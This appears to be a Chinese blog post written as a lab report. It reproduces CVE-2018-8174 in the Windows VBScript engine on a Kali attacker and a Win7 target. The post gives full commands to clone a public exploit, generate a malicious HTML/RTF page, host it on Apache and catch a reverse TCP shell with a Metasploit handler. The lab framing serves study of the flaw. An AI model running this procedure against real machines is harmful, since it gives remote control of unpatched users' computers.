当前位置: 首页 > news >正文

CVE-2018-8174漏洞复现实验报告

一、该漏洞的相关背景

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

二、漏洞触发的核心背景原因

在当时的Win生态中,VBScript被广泛应用于网页脚本解析与部分企业环境中,而当时IE浏览器作为系统默认组件,其所带脚本引擎具有较高权限,一旦被利用,攻击者可在当前用户权限下执行任意代码。

三、漏洞影响的范围

CVE-2018-8174影响范围较广,主要存在于以下系统版本:

1.Windows7 / 8.1 10以及Windows Server系列

2.使用IE内核应用程序

在未打补丁的系统中,用户仅仅访问恶意页面即可触发漏洞,并无需额外交互。

四、实验过程(建议提前关闭靶机的防火墙)

利用CVE-2018-8174漏洞获取靶机权限

准备:kali攻击机、win7靶机(实验开始前确保双机可以ping通)

1.获取攻击所用的EXP

方法一:直接进行git

git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

方法二:下载到本地进行解压再复制到kali(适用于kali无法进行git的情况)

cd CVE-2018-8174_EXP-master

cd /home/kali/Desktop/CVE-2018-8174_EXP-master/

2.生成恶意html与rtf文件

这里需要注意:该漏洞利用工具明确要求Python 2.x环境运行,使用Python 3.x会触发语法错误”这是一个关键点,明确利用工具的运行环境。否则会报错,如下:

正确的运行语句:

python2 CVE-2018-8174.py -u http://192.168.142.133/exploit.html -o exploit.rtf -i 192.168.142.133 -p 4444(IP地址为自己kali攻击机的地址)

3.将恶意html文件移动到网站根目录,并启动apach2服务

cp exploit.html /var/www/html

service apache2 start

新打开一个终端,生成MSF监听

msfconsole -x "use exploit/multi/handler;

set PAYLOAD Windows/shell/reverse_tcp;

set LHOST 192.168.142.133; set lport 4444;

run

在靶机win7上打开恶意链接:http://192.168.142.133/exploit.html

此时在kali接收到shell,可在meterpreter中管理shell(但非管理员权限)

4.至此结束初级权限渗透,后续进一步权限提升可结合其他手段

五、总结

通过本次实验,提升了我对漏洞利用流程(信息收集、利用构造、权限获取)的整体理解,也加深了对安全防护重要性的认识,例如及时更新补丁、禁用不必要组件(如VBScript)以及提高用户安全意识等。整体而言,本实验有效增强了我的实践能力和对Web与系统安全的综合理解也让我认识到真实攻击往往是“漏洞链”而非单一漏洞。

http://www.jsqmd.com/news/913866/

相关文章:

  • 防火墙配置与外网访问
  • 别再为找不到引导盘发愁了!手把手教你解决Dell服务器安装CentOS7时的‘dracut’报错
  • 从51到STM32:为什么我建议你先学标准库再碰HAL库(附江科协视频推荐)
  • QTableView 简单使用(笔记)
  • 别再为投稿PDF乱码发愁了!Pattern Recognition Letters投稿文件类型选择全解析
  • 别再手动调资源了!Spark动态资源分配(Dynamic Allocation)在YARN/K8s上的保姆级配置指南
  • 从《原神》血条到VR菜单:拆解Unity Canvas三种渲染模式在真实项目里的应用
  • 如何快速提升GitHub访问速度:免费浏览器插件终极指南
  • Java打印避坑指南:用PDFBox和AWT精准控制纸张与边距(附完整代码)
  • 微信如何创建群投票|西瓜评选零门槛靠谱教程 - 投票小程序
  • 告别手动!为你的Unity项目打造一个AssetPostprocessor自动图片导入配置器
  • 三菱FX3U PLC串口通讯实战:从RS/RS2指令到Modbus RTU读取编码器数据
  • 群晖Docker跑OpenWrt旁路由,保姆级避坑指南(含macvlan网络配置详解)
  • 别再硬编码了!SAP MB51报表增强的优雅解法:利用隐式增强与自定义表动态扩展ALV
  • 破四唯、给企业放权、建黑名单——2026浙江职称评审迎来最严改革
  • 别再乱勾选MicroLIB了!STM32串口打印printf的两种配置方式详解(附避坑指南)
  • 从‘感觉’到‘算法’:智能家居中的模糊控制实战(以空调温控为例)
  • Jetson Orin Nano 修复 JetPack MISSING 与 OpenCV CUDA
  • TVA 对 CV 的代际超越逻辑(9)
  • Unity 2020.3 实战:从零到一打造你的第一个记忆翻牌游戏(附完整源码)
  • UE5 GAS实战:手把手教你为RPG角色创建生命值与法力值AttributeSet(含网络同步与预测配置)
  • 医疗器械无菌包装密封性测试:从破坏性抽检到无损全检的体系升级
  • 保姆级教程:用西门子博途V15给S7-1500 PLC配置Modbus TCP服务器(含DB块指针详解)
  • 防锈后生锈原因 工序间防锈 操作偏差 过程管控
  • TypeScript 编程中的模块系统:ESM 与 CommonJS 互操作
  • 从Matlab到边缘设备:手把手教你将训练好的U-Net模型导出为ONNX并在OpenCV DNN中部署
  • 别再死记硬背了!用“3-8译码器”和“数据选择器”的例子,彻底搞懂CPU地址总线和存储寻址
  • 从Fbank到WavLM:PyTorch声纹识别项目中的音频特征提取全攻略(附性能对比)
  • 树莓派4B摄像头配置进阶:libcamera-hello实测、VNC黑屏修复与OpenCV兼容性指南
  • Unity UGUI Slider 从入门到精通:除了血条,还能做哪些酷炫的交互?